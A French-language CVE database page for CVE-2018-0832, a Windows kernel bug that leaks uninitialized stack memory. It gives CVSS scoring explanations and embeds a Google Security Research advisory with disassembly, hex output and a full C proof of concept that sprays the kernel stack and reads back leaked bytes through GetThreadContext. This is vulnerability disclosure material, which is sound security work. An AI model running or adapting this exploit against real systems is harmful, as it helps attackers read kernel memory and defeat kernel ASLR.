CVE-2018-0832 : Détail

CVE-2018-0832

4.7
/
Moyen
32.39%V3
Local
2018-02-15
02h00 +00:00
2024-09-16
18h59 +00:00
CVE.org
NVD
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Descriptions du CVE

The Windows kernel in Windows 8.1 and RT 8.1, Windows Server 2012 R2, Windows 10 Gold, 1511, 1607, 1703 and 1709, Windows Server 2016 and Windows Server, version 1709 allows an information disclosure vulnerability due to how objects in memory are handled, aka "Windows Information Disclosure Vulnerability". This CVE is unique from CVE-2018-0829 and CVE-2018-0830.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-401 Missing Release of Memory after Effective Lifetime
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44146

Date de publication : 2018-02-19 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a CONTEXT structure to user-mode memory. Two previous bugs in the nearby code area were reported in issues #1177 and #1311 ; in fact, the problem discussed here appears to be a variant of #1177 but with a different trigger (a GetThreadContext() call instead of a generated exception). The leak was originally detected under the following stack trace: --- cut --- kd> k # ChildEBP RetAddr 00 a5d2b8f4 81ec3e30 nt!RtlpCopyLegacyContextX86+0x16e 01 a5d2b91c 82218aec nt!RtlpCopyExtendedContext+0x70 02 a5d2b96c 8213a22a nt!RtlpWriteExtendedContext+0x66 03 a5d2bd18 822176bc nt!PspGetContextThreadInternal+0x1c6 04 a5d2bd44 81fccca7 nt!NtGetContextThread+0x54 05 a5d2bd44 77a41670 nt!KiSystemServicePostCall --- cut --- and more specifically in the copying of the _FLOATING_SAVE_AREA structure when the CONTEXT_FLOATING_POINT flags are set: --- cut --- kd> dt _FLOATING_SAVE_AREA ntdll!_FLOATING_SAVE_AREA +0x000 ControlWord : Uint4B +0x004 StatusWord : Uint4B +0x008 TagWord : Uint4B +0x00c ErrorOffset : Uint4B +0x010 ErrorSelector : Uint4B +0x014 DataOffset : Uint4B +0x018 DataSelector : Uint4B +0x01c RegisterArea : [80] UChar +0x06c Spare0 : Uint4B --- cut --- In that structure, the last 32-bit "Spare0" field is left uninitialized and provided this way to the ring-3 client. The overall CONTEXT structure (which contains the FLOATING_SAVE_AREA) is allocated from the stack with an alloca() call in the nt!PspGetContextThreadInternal function: --- cut --- PAGE:006BA173 lea edx, [ebp+var_48] PAGE:006BA176 mov ecx, [ebp+ContextFlags] PAGE:006BA179 call RtlGetExtendedContextLength(x,x) PAGE:006BA17E test eax, eax PAGE:006BA180 js short loc_6BA140 PAGE:006BA182 mov eax, [ebp+var_48] PAGE:006BA185 call __alloca_probe_16 <============================ PAGE:006BA18A mov [ebp+ms_exc.old_esp], esp PAGE:006BA18D mov ecx, esp PAGE:006BA18F mov [ebp+var_54], ecx PAGE:006BA192 lea eax, [ebp+var_4C] PAGE:006BA195 push eax PAGE:006BA196 mov edx, [ebp+ContextFlags] PAGE:006BA199 call RtlInitializeExtendedContext(x,x,x) --- cut --- The "Spare0" field is not pre-initialized or written to by any of the routines that fill out the FLOATING_SAVE_AREA structure. As a result, running the attached proof-of-concept program (designed for Windows 10 32-bit version 1709) reveals 4 bytes of kernel stack memory at offset 0x88 of the output region (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows: --- cut --- 00000000: 08 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................ 00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 41 41 41 41 00 00 00 00 ........AAAA.... 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................ --- cut --- Offset 0x88 of the CONTEXT structure on x86 builds indeed corresponds to the 32-bit CONTEXT.FloatSave.Spare0 field. What's most interesting, however, is that the bug only exists on Windows 8 and 10; on Windows 7, we can see that the region obtained through alloca() is instantly zeroed-out with a memset() call: --- cut --- PAGE:0065EE86 call RtlGetExtendedContextLength(x,x) PAGE:0065EE8B cmp eax, ebx PAGE:0065EE8D jl loc_65EFDE PAGE:0065EE93 mov eax, [ebp+var_2C] PAGE:0065EE96 call __alloca_probe_16 PAGE:0065EE9B mov [ebp+ms_exc.old_esp], esp PAGE:0065EE9E mov [ebp+var_3C], esp PAGE:0065EEA1 push [ebp+var_2C] ; size_t PAGE:0065EEA4 push ebx ; int PAGE:0065EEA5 push [ebp+var_3C] ; void * PAGE:0065EEA8 call _memset --- cut --- The function call is missing from Windows 8 and later systems, but we are not sure why this regression was introduced. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> // For native 32-bit execution. extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm {mov eax, ApiNumber}; __asm {lea edx, ApiNumber + 4}; __asm {int 0x2e}; } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Windows 10 32-bit version 1709. CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296; // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[1024]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Initialize the thread as GUI. LoadLibrary(L"user32.dll"); CONTEXT ctx; RtlZeroMemory(&ctx, sizeof(ctx)); ctx.ContextFlags = CONTEXT_FLOATING_POINT; SprayKernelStack(); if (!GetThreadContext(GetCurrentThread(), &ctx)) { printf("GetThreadContext failed, %d\n", GetLastError()); return 1; } PrintHex((PBYTE)&ctx, sizeof(ctx)); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2016 >> Version 1709

Références

https://www.exploit-db.com/exploits/44146/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/102923
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040373
Tags : vdb-entry, x_refsource_SECTRACK